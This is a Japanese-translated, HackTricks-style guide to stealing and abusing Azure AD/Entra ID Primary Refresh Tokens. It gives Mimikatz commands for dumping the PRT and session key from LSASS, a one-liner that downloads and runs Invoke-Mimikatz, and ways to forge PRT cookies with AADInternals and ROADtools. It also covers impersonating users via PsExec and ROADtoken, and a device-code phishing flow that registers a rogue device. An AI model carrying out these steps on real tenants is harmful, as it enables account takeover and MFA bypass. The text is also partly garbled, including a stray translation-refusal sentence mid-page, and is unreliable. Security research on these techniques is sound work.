Az - Primary Refresh Token (PRT)

Reading time: 32 minutes

What is a Primary Refresh Token (PRT)?

Primary Refresh Token (PRT)は、Azure AD (Entra ID) 認証で使用される長寿命のリフレッシュトークンで、Kerberos TGTに類似しています。これは、Azure ADに参加したデバイスでユーザーがログインすると発行され、資格情報を再入力することなくさまざまなアプリケーションのアクセストークンを要求するために使用できます。各PRTには、セッションキー（所有証明キーとも呼ばれる）が付随しており、リクエストに署名し、クライアントがPRTを持っていることを証明するために使用される対称キーです。PRT自体は不透明で暗号化されたバイナリデータ（クライアントが読み取れない）であり、セッションキーはトークンを要求する際にPRTを含むJWTを署名するために使用されます。言い換えれば、PRTを持っているだけでは不十分であり、攻撃者は正当性を証明するためにセッションキーを必要とします。これは、認証のためにKerberos TGTとそのセッションキーの両方が必要なことに似ています。

Windowsでは、PRTとセッションキーはCloudAPプラグインを介してLSASSプロセスにキャッシュされます。デバイスにTPM（Trusted Platform Module）がある場合、Azure ADは追加のセキュリティのためにキーをTPMにバインドします。これは、TPMを搭載したデバイスでは、セッションキーがTPM内に保存または使用され、通常の状況下ではメモリから直接読み取ることができないことを意味します。TPMが利用できない場合（例：多くのVMや古いシステム）、キーはソフトウェアに保持され、DPAPI暗号化で保護されます。いずれの場合も、管理者権限またはマシン上でのコード実行を持つ攻撃者は、ポストエクスプロイトの一環としてメモリからPRTとセッションキーをダンプすることを試み、その後それらを使用してクラウド内でユーザーを偽装することができます。一般的なリフレッシュトークン（通常はアプリケーション固有）とは異なり、PRTはより広範で、デバイスがほぼすべてのEntra ID統合リソースまたはサービスのトークンを要求できるようにします。

How Does a PRT Work?

PRTの動作を簡略化して説明します：

1. Device Registration:

• デバイス（Windowsラップトップやモバイルフォンなど）がEntra IDに参加または登録するとき、資格情報（ユーザー名/パスワード/MFA）を使用して認証します。

• 認証が成功すると、Entra IDは特にデバイスにバインドされたPRTを発行します。

2. Token Storage:

• PRTはデバイスに安全に保存され、通常はTrusted Platform Module (TPM)などのハードウェア機能によって保護されており、無許可の第三者が抽出または悪用することが難しくなっています。

3. Single Sign-On (SSO):

• Entra IDで保護されたアプリケーション（例：Microsoft 365アプリ、SharePoint、Teams）にアクセスするたびに、デバイスは保存されたPRTを使用して、そのアプリの特定のアクセストークンを要求し取得します。

• PRTが認証を透過的に処理するため、資格情報を繰り返し入力する必要はありません。

4. Renewal and Security:

• PRTは長い寿命（通常約14日）を持ちますが、デバイスがアクティブに使用されている限り、継続的に更新されます。

• デバイスが侵害されたり失われたりした場合、管理者はリモートでPRTを取り消し、無許可のアクセスを即座にブロックできます。

Why are PRTs Powerful?

• Universal Access: 一般的なトークンが1つのアプリやリソースに制限されるのに対し、PRTはすべてのEntra ID統合サービスへのアクセスを促進できます。

• Enhanced Security: TPMなどのハードウェア保護が組み込まれているため、PRTは安全なトークンの保存と使用を保証します。

• User Experience: PRTは頻繁な認証プロンプトを減らし、真のシームレスSSOを可能にすることで、ユーザーエクスペリエンスを大幅に向上させます。

How to know if a PRT is present?

• PRTが存在するか確認する:

# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES

• TPMによって保護されているか確認する:

Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

PRTを渡す

この投稿によると、TPMバインディングのないWindowsデバイスでは、PRTとそのセッションキーはLSASS（CloudAPプラグイン）に存在します。そのデバイスでローカル管理者/SYSTEMの権限があれば、PRTブロブとDPAPIで暗号化されたセッションキーをLSASSから読み取り、DPAPIを使用してセッションキーを復号し、署名キーを導出して有効なPRTクッキー（x‑ms‑RefreshTokenCredential）を生成できます。PRTとそのセッションキーの両方が必要です—PRT文字列だけでは不十分です。

Mimikatz

1. PRT（プライマリリフレッシュトークン）がLSASS（ローカルセキュリティ認証サブシステムサービス）から抽出され、後で使用するために保存されます。
2. 次にセッションキーが抽出されます。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号する必要があります。DPAPI（データ保護API）に関する詳細情報は、これらのリソースで確認できます: HackTricks およびその適用については、Pass-the-cookie攻撃を参照してください。
3. セッションキーの復号後、PRTのための導出キーとコンテキストが取得されます。これらはPRTクッキーの作成に重要です。具体的には、導出キーはクッキーを構成するJWT（JSON Web Token）に署名するために使用されます。このプロセスの詳細な説明はDirk-janによって提供されており、こちらからアクセスできます。

privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

PRTフィールドには、暗号化されたリフレッシュトークン（通常はbase64文字列）が含まれており、ProofOfPossessionKeyのKeyValueにはDPAPIで暗号化されたセッションキー（これもbase64）が含まれています。

次に、**sekurlsa::cloudapの出力から、ProofOfPossessionKeyフィールド内のKeyValue**からbase64ブロブをコピーします（これはDPAPIで暗号化されたセッションキーです）。この暗号化されたキーはそのまま使用することはできず、システムのDPAPI資格情報を使用して復号化する必要があります。

システムシークレットのDPAPI暗号化はマシンのシステムコンテキストを必要とするため、トークンをSYSTEMに昇格させ、MimikatzのDPAPIモジュールを使用して復号化します：

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

token::elevateはSYSTEMを偽装し、dpapi::cloudapkdコマンドの/unprotectはDPAPIマスターキーを使用して提供されたKeyValue blobを復号化します。これにより、平文のセッションキーと、署名に使用される関連するDerived KeyおよびContextが得られます：

• Clear key – 平文の32バイトセッションキー（16進数文字列として表現）。
• Derived Key – セッションキーとコンテキスト値から導出された32バイトキー（詳細は以下）。
• Context – PRTクッキーの署名キーを導出する際に使用された24バイトのランダムコンテキスト。

その後、mimikatzを使用して有効なPRTクッキーを生成することもできます：

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatzは、「Signature with key」という行の後に署名されたJWT（PRT cookie）を出力します。これにはPRTが含まれ、導出されたキーを使用して署名されています。このJWTはコピーされ、ウェブセッションで使用できます。たとえば、攻撃者はブラウザを開き、login.microsoftonline.comに移動し、x-ms-RefreshTokenCredentialという名前のクッキーをこのJWTの値で設定できます。ブラウザがリフレッシュまたはナビゲートすると、Azure ADはセッションを認証済みとして扱います（PRTクッキーはSSOが発生したかのように提示されます）ので、指定されたリソースのために認可コードまたはアクセストークンを発行します。実際には、Office 365やAzureポータルのようなリソースに移動します。正当なPRTクッキーが存在する場合、Azure ADは追加のログインなしでアクセスを許可します（PRTはすでに認証されているため、MFAをバイパスします）。

また、**roadtxとroadrecon**を使用してPRTクッキーのPRTを使ってユーザーを偽装することもできます (TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)。

Mimikatz + AADInternals

AADInternals PowerShellモジュールも、以前に取得したPRTとセッションキーを使用して有効なPRTトークンを生成するために使用できます。これは、nonceを使用して新しいPRTトークンを取得するプロセスを自動化するのに便利で、Azure AD Graph APIや他のリソースのアクセストークンを取得するために使用できます。

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

これは新しいPRTクッキー（ノンス付き）を取得し、それを使用してAzure AD Graph APIのアクセストークンを取得します（ユーザーを代表してクラウドアクセスを示しています）。AADInternalsは多くの暗号化を抽象化し、Windowsコンポーネントまたは独自のロジックを内部で使用します。

Mimikatz + roadtx

• まずPRTを更新し、roadtx.prtに保存します：

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>

• これで、roadtx browserprtauthを使用してインタラクティブブラウザでトークンを要求できます。roadtx describeコマンドを使用すると、アクセス トークンに MFA クレームが含まれていることがわかります。これは、今回使用した PRT にも MFA クレームが含まれていたためです。

roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

mimikatzによってダンプされたコンテキストと派生キーを持っている場合、roadreconを使用して新しい署名付きクッキーを生成することが可能です:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

保護されたPRTの悪用

前述の保護にもかかわらず、デバイスをすでに侵害した攻撃者（ローカルユーザーまたはSYSTEMとして）は、WindowsのトークンブローカーAPIおよびセキュリティコンポーネントを利用して新しいアクセストークンを取得するためにPRTを悪用することができます。攻撃者は生のPRTやキーを抽出するのではなく、基本的にPRTを自分の代わりに使用するようWindowsに「要求」します。以下のセクションでは、TPM保護が有効な最新のWindowsデバイスでPRTとそのセッショントークンを悪用するための現在有効な技術を概説します。これらの技術はすべて、ターゲットマシンへのポストエクスプロイトアクセスを前提としており、組み込みの認証フローを悪用することに焦点を当てています（未修正の脆弱性は必要ありません）。

WindowsトークンブローカーアーキテクチャとSSOフロー

最新のWindowsは、組み込みのトークンブローカースタックを介してクラウド認証を処理します。これには、ユーザーモードとLSASS（ローカルセキュリティ機関）の両方のコンポーネントが含まれます。このアーキテクチャの重要な部分は次のとおりです。

• LSASS CloudAPプラグイン: デバイスがAzure ADに参加している場合、LSASSはPRTとトークンリクエストを管理するクラウド認証パッケージ（例：CloudAP.dll、aadcloudap.dll、MicrosoftAccountCloudAP.dll）をロードします。LSASS（SYSTEMとして実行）は、PRTの保存、更新、使用を調整し、TPMとインターフェースを介して暗号操作（セッショントークンでPRTチャレンジに署名するなど）を実行します。

• Webアカウントマネージャー（WAM）: Windows Webアカウントマネージャーは、アプリケーションやブラウザが資格情報を求めることなくクラウドアカウントのトークンを要求できるユーザーモードのフレームワーク（COM/WinRT APIを介してアクセス可能）です。WAMは、ユーザーアプリケーションとセキュアなLSASS/TPMバックのPRTとの間のブローカーとして機能します。たとえば、MicrosoftのMSALライブラリや特定のOSコンポーネントは、WAMを使用してログインユーザーのPRTを使用してトークンを静かに取得します。

• BrowserCore.exeおよびトークンブローカーCOMインターフェース: ブラウザSSOのために、WindowsにはBrowserCore.exeというコンポーネントが含まれています（Windows Security\BrowserCoreの下にあります）。これは、ブラウザ（Edge、Chromeの拡張機能など）がAzure ADログインのためにPRT派生のSSOトークンを取得するために使用するネイティブメッセージングホストです。内部では、BrowserCoreはMicrosoftAccountTokenProvider.dllによって提供されるCOMオブジェクトを利用してPRTベースのクッキー/トークンを取得します。本質的に、このCOMインターフェースは、ユーザーとして実行されている任意のプロセスがSSOトークンを取得するために呼び出すことができるファーストパーティの「トークンブローカー」APIです（ユーザーがLSASSに有効なPRTを持っている場合）。

Azure ADに参加しているユーザーがリソース（たとえば、Azureポータル）にアクセスしようとすると、フローは通常次のようになります：アプリケーションがWAMまたはBrowserCoreのCOMインターフェースに呼び出し、これがLSASSと通信します。LSASSはPRTとセッショントークン（TPMによって保護されている）を使用してSSOトークンを生成します。これはしばしばPRTクッキーと呼ばれ、暗号化されたPRTとノンスを含む特別なJWTで、PRTのセッショントークンから派生したキーで署名されています。このクッキーはAzure ADに送信され（x-ms-RefreshTokenCredentialヘッダー内）、デバイスとユーザーが有効なPRTを保持していることを証明し、Azure ADがさまざまなアプリケーションのために標準のOAuthリフレッシュおよびアクセストークンを発行できるようにします。特に、PRTに存在する任意の多要素認証（MFA）要求は、このSSOプロセスを介して取得されたトークンに引き継がれるため、PRT派生のトークンはMFA保護されたリソースを満たすことができます。

ユーザーレベルのトークン窃盗（非管理者）

攻撃者がユーザーレベルのコード実行を持っている場合、PRTのTPM保護は攻撃者がトークンを取得するのを止めることはありません。攻撃者は組み込みのWindowsトークンブローカーAPIを利用します：

BrowserCore（MicrosoftAccountTokenProvider COM）

BrowserCoreは、PRTクッキーを取得するためのCOMクラス（MicrosoftAccountTokenProvider、CLSID {a9927f85-a304-4390-8b23-a75f1c668600}）を公開しています。このCOM APIは、Azure AD SSOのためにブラウザ（Chrome/Edge拡張機能）によって正当に呼び出されます。

• RequestAADRefreshToken

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Azure ADリフレッシュトークンまたはPRTクッキーを返します)

• ROADtoken & ROADtools

ROADtokenは、正しいディレクトリから**BrowserCore.exeを実行し、それを使用してPRTクッキーを取得**します。このクッキーは、その後ROADtoolsと共に使用して認証し、永続的なリフレッシュトークンを取得することができます。

有効なPRTクッキーを生成するために最初に必要なのはノンスです。
これを取得するには:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

roadreconを使用するか：

roadrecon auth prt-init

次に、roadtokenを使用して新しいPRTを取得できます（攻撃するユーザーのプロセスからツールを実行します）：

.\ROADtoken.exe <nonce>

申し訳ありませんが、翻訳する内容が提供されていません。翻訳したいテキストを提供してください。

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

次に、生成されたクッキーを使用して、Azure AD GraphまたはMicrosoft Graphを使用してトークンを生成してログインできます：

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

攻撃者は、ユーザーレベルのプロセスから正当なMicrosoft認証ライブラリ（MSAL、WAM APIs、WebAuthenticationCoreManager）を使用して、TPM保護されたPRTを利用してトークンを静かに取得します。

• aadprt

execute-assembly aadprt.exe

(COMインターフェースを介してPRTクッキーを取得)

• listwamaccounts

execute-assembly listwamaccounts.exe

(WAMを介してログインしているAzure ADアカウントのリスト; トークンターゲットを特定)

• 一般的な例 (MSALを使用したPowerShell):

$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(静かにPRTを利用してアクセストークンを取得)

管理者 / SYSTEMレベルのトークン悪用

攻撃者が管理者またはSYSTEMに昇格すると、任意のAzure ADにログインしているユーザーを直接偽装し、同じCOM/WAMトークンブローカーAPIを使用できます。TPM保護されたPRTは、この正当なトークン発行を防ぎません。

ユーザーの偽装とトークン取得

管理者/SYSTEMは、他のユーザーの実行中のセッションを偽装して、トークン生成のためにBrowserCoreまたはWAMを呼び出すことができます。

これには、ユーザープロセス（例：explorer.exe）を偽装し、前のセクションでコメントされた任意の技術を使用してトークンブローカーAPIを呼び出します。

直接LSASSおよびトークンブローカーとの相互作用（高度な技術）

管理者は依然としてLSASSを使用してPRTを悪用できます。たとえば、管理者はLSASSにコードを注入したり、内部CloudAP関数を呼び出してLSASSにトークンを生成させることができます。Dirk-janの研究では、管理者が「暗号APIを使用してLSASS内のPRTキーと相互作用できる」と指摘されています。実際には、LSASSの独自の関数を使用して（APIフックやRPCなどの技術を介して、利用可能な場合）PRTクッキーを生成することを意味するかもしれません。別のアプローチは、セッションキーがメモリに表示される可能性のあるウィンドウを悪用することです。たとえば、PRTの更新やデバイス登録の瞬間に、使用のために暗号化されていない状態で表示されるときです。このような攻撃はかなり複雑で状況依存です。より簡単な管理者の戦術は、既存のトークンハンドルやキャッシュを悪用することです。LSASSは、メモリ内のアプリ用に最近発行されたリフレッシュトークンをキャッシュします（DPAPIで暗号化されています）。決意のあるSYSTEM攻撃者は、これらのDPAPI保護されたトークンを抽出しようとするかもしれません（管理者が取得できるユーザーのマスターキーを使用して）特定のアプリケーションのリフレッシュトークンを直接盗むために。しかし、最も簡単で一般的な方法は、偽装と文書化されたトークンブローカーインターフェースの使用であり、これによりAzure ADが新しいトークンを発行することが保証されます（すべての適切なクレームを持って）暗号を解読しようとするのではなく。

PRTのフィッシング

OAuthデバイスコードフローを悪用し、Microsoft Authentication BrokerクライアントID（29d9ed98-a469-4536-ade2-f981bc1d605e）と**デバイス登録サービス（DRS）**リソースを使用して、リフレッシュトークンを取得し、これをプライマリリフレッシュトークン（PRT）にアップグレードします。

なぜこれが機能するのか

• PRTはデバイスにバインドされており、（ほぼ）すべてのEntra保護アプリのSSOを可能にします。
• ブローカークライアント + DRSの組み合わせにより、フィッシングされたリフレッシュトークンをPRTに交換できます。
• MFAはバイパスされません：ユーザーはフィッシング中にMFAを実行し、MFAクレームは結果として得られるPRTに伝播し、攻撃者がさらなるプロンプトなしでアプリにアクセスできるようにします。

前提条件：

• ブローカークライアントID（29d9ed98-a469-4536-ade2-f981bc1d605e）とDRSスコープ/リソースを使用したデバイスコードによるユーザー認証（例：01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.defaultまたはhttps://enrollment.manage.microsoft.com/）。
• ユーザーはEntra IDでデバイスを登録できる（デフォルト：許可、ただし制限またはクォータ制限される可能性があります）。
• デバイスコードを無効にするCAポリシーや、ターゲットアプリに準拠した/ハイブリッドデバイスを要求するポリシーがないこと（これらはPRTの発行を停止しませんが、保護されたアプリにアクセスするために使用することをブロックします）。
• 攻撃者が制御するホストでフローを実行し、トークン/デバイスキーを保持します。

攻撃フロー：

1. client_id = BrokerおよびDRSスコープ/リソースを使用してデバイスコード認証を開始し、ユーザーコードを犠牲者に表示します。

curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

2. 被害者がMicrosoftのサイト（正規のUI）にサインインし、MFAを完了すると、攻撃者はBrokerクライアント用のDRSスコープ付きリフレッシュトークンを受け取ります。

3. そのリフレッシュトークンを使用してテナントに不正なデバイスを登録します（デバイスオブジェクトが作成され、被害者にリンクされます）。

4. リフレッシュトークン + デバイスID/キーを交換してPRTにアップグレードします → 攻撃者のデバイスにバウンドされたPRT。

5. （オプションの持続性）: MFAが新鮮であれば、長期的なパスワードレスアクセスを維持するためにWindows Hello for Businessキーを登録します。

6. 悪用: PRTを引き換え（またはPRTクッキーを生成）して、ユーザーとしてExchange/Graph/SharePoint/Teams/カスタムアプリのアクセストークンを取得します。

公開ツールと概念実証

• ROADtools/ROADtx: OAuthフロー、デバイス登録、トークンアップグレードを自動化します。
• DeviceCode2WinHello: デバイスコードフィッシングからPRT+WHfBキーへの単一コマンドスクリプトを自動化します。

参考文献

• DirkjanのPRTに関するブログ投稿
• DirkjanのPRTフィッシングに関する投稿
• DirkjanのPRTの悪用に関する投稿
• SpecterOpsのAzure ADリクエストトークンの要求に関する投稿
• AADInternalsのPRTに関する投稿
• blog.3or.de